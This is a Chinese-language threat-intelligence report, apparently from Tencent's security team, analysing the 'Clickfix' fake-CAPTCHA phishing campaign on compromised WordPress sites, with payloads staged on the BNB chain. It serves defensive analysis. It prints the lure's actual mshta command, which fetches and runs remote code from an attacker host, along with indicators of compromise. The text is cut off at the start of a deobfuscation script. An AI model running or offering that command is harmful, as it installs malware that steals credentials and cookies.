专栏名称: 腾讯安全威胁情报中心
御见威胁情报中心,是一个涵盖全球多维数据的情报分析、威胁预警分析平台。依托顶尖安全专家团队支撑,帮助安全分析人员快速、准确对可疑事件进行预警、溯源分析。
目录
相关文章推荐
51好读  ›  专栏  ›  腾讯安全威胁情报中心

验证码对抗之殇|Clickfix最新钓鱼事件分析报告

腾讯安全威胁情报中心  · 公众号  · 科技自媒体  · 2025-01-15 10:19

正文

曾几何时,验证码是横亘在人与机器之间的那道数字藩篱,以看似简单的交互,守护着虚拟世界的秩序。然而,当人工智能的浪潮席卷而来,昔日泾渭分明的界限开始变得模糊不清。黑产团伙敏锐地捕捉到这种变化带来的“信任错位”,他们洞悉用户对日渐繁琐验证机制的疲惫与麻木,精心编织出一张名为“Clickfix”的钓鱼之网。这项最早于2024年5月浮出水面的技法,历经短短半年的演变,已蜕变成一套复杂而成熟的攻击体系,其背后的深思熟虑,令人警惕。

2024年12月,腾讯云安全科恩实验室威胁情报中心捕获到了多起国外黑灰产团伙通过Clickfix社会工程学钓鱼手法对windows系统用户进行攻击的事件。


1.攻击主要特征

观察到的攻击活动通常利用伪造的交互式页面,模拟如 Google Meet 或 reCaptcha 等常用服务,诱导用户执行一系列操作,从而实现恶意代码的传播和执行。攻击流程的关键步骤如下:

1. 攻击者首先会部署精心设计的钓鱼页面,这些页面会伪装成合法的服务界面。随后,页面会弹出虚假的验证码窗口,或伪造需要修复软件的告警提示。这些提示通常包含一个诱导性的“下一步”按钮。当受害者点击该按钮时,会触发页面内置的恶意 JavaScript 代码。这段代码的核心功能是将一段经过精心构造的恶意 payload 复制到用户的系统剪贴板中。此步骤旨在为后续的命令注入做好准备。

2. 页面紧接着会引导受害者按下 “Win + R” 组合键,这在 Windows 系统中是打开“运行”对话框的快捷键。此步骤旨在为后续命令执行提供入口。

3. 之后,页面会指示受害者按下 “Ctrl + V” 组合键。该组合键用于粘贴剪贴板中的内容,即将之前复制的恶意 payload 粘贴到“运行”对话框中。此步骤是利用用户对快捷键的熟悉程度,降低用户警惕性。

4. 最后,受害者被要求按下 Enter 键,这将触发执行先前粘贴到“运行”对话框中的恶意 payload。该 payload 通常是经过混淆的 PowerShell 或 mshta 命令,这些命令负责从远程服务器下载恶意脚本,并在受害者的系统中执行。此步骤是攻击链的最终阶段,也是恶意代码真正发挥作用的环节。

下图为黑产团伙实施攻击的完整流程,该流程可分为三个主要阶段:

1. 初始访问与恶意代码注入:黑产团伙首先利用漏洞(如 Web 应用漏洞、插件漏洞等)或弱口令爆破等手段,非法获取大量 WordPress 网站的控制权限。随后,攻击者会在这些被攻陷的网站上注入恶意的 JavaScript 代码。此阶段是攻击链的初始环节,为后续的攻击活动提供了立足点。

2. 用户诱导与恶意命令执行:当用户正常访问已被投毒的网站时,嵌入的恶意 JavaScript 代码会被触发。该代码会伪造一个虚假的验证码程序(例如模仿 reCaptcha 等),诱导用户执行一系列操作,最终目的是让用户主动执行剪贴板中预先复制的恶意命令。此阶段利用了社会工程学技巧,诱使用户成为攻击的执行者。

3. 下载与数据窃取:一旦用户执行了恶意命令,其计算机就会从黑产团伙控制的远程服务器下载恶意后门程序。该后门程序会在受害者的设备上潜伏,收集包括但不限于设备信息、浏览器历史、cookie、用户凭据等敏感信息,并将这些数据回传到攻击者控制的服务器。此阶段是攻击链的最终阶段,旨在窃取用户敏感信息,实现攻击者的非法目的。


2.溯源分析

2.1.钓鱼场景布置

攻击者在实施本次钓鱼攻击活动中展现了高度的专业性和对抗性。以下将通过具体案例分析,深入剖析攻击者所采用的技战术。

某国内传媒企业网站(http://www[.]u-xxx.cn/)基于 WordPress 系统搭建。在访问该网站时,用户会遭遇弹出的伪造验证码窗口。通过审查网站源代码(F12),可定位到被注入的恶意 JavaScript 代码。值得注意的是,攻击者并未采用 script src="..." 标签加载外部恶意脚本的方式,此举增加了检测的难度。

经过 Base64 解码后,可还原恶意 JavaScript 代码。代码片段显示,其逻辑涉及从 Binance Smart Chain (BSC) 链 RPC 节点获取数据。

通过分析网络行为,可观察到恶意脚本向

https://data-seed-prebsc-1-s1[.]bnbchain[.]org:8545/ 发送请求,此为币安链的 RPC 节点。攻击者通过该请求获取后续恶意代码。他们将恶意代码存储于智能合约,以此规避传统的威胁情报拦截措施。此外,智能合约的去中心化特性也使其难以被单点清除。

涉及的智能合约地址:

  • 0x80d31D935f0EC978253A26D48B5593599B9542C7
  • 0x7d0b5A06F8c43011fB66Eb90f61525A827eaE0d7

2.1.1.小结

1. 攻击者利用插件漏洞或弱口令等手段,获取大量 WordPress 网站的控制权限,并通过硬编码 Base64 编码的恶意 JavaScript 代码,植入第一阶段的恶意载荷。

2. 第一阶段恶意代码执行后,会向 BSC 区块链上的恶意智能合约地址发起请求,获取最新的第二阶段钓鱼代码内容。智能合约的去中心化和不可篡改特性延长了恶意代码的存活周期。

3. 浏览器运行第二阶段恶意代码后,弹出伪造的验证码窗口,诱导用户执行恶意操作。
结合上述规则,我们总结出FOFA测绘特征查询语句如下
body="


在2025年1月的时间点,全网有超过700个受害网站被植入了钓鱼恶意代码。


2.2.恶意代码执行

在诱导用户执行恶意代码成功后,黑产团伙为了提升攻击的成功率,大量利用了混淆技术,下面是自动复制到用户剪贴板,诱导用户执行的恶意命令:

mshta https://solve.vwglq.com/awjxs.captcha?u=0608f4ba-cf75-41b2-ab6f-ba4a4aea199a # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5006''

该命令利用mshta加载远程的恶意代码,url通过cdn转发跳转到

https://deduhko2[.]kliphuwatey[.]shop/Poket.mp4 (MD5:9fb3db7b334f385701b3c88d63b7e5ee )执行恶意代码。
9fb3db7b334f385701b3c88d63b7e5ee是一个高度混淆的恶意代码文件,首先通过.mp4后缀名来逃避检测。其次该文件利用hta程序执行的特征,往有效的script标签之间塞入大量的垃圾数据躲避检测。我们编写了以下的反混淆脚本来还原恶意代码:
import ref = open("658d84007977b9bcbac196d09ec012e15dba6d71f026613bb08e3a0ec4aceef8", "rb")data = f.read()
pattern






请到「今天看啥」查看全文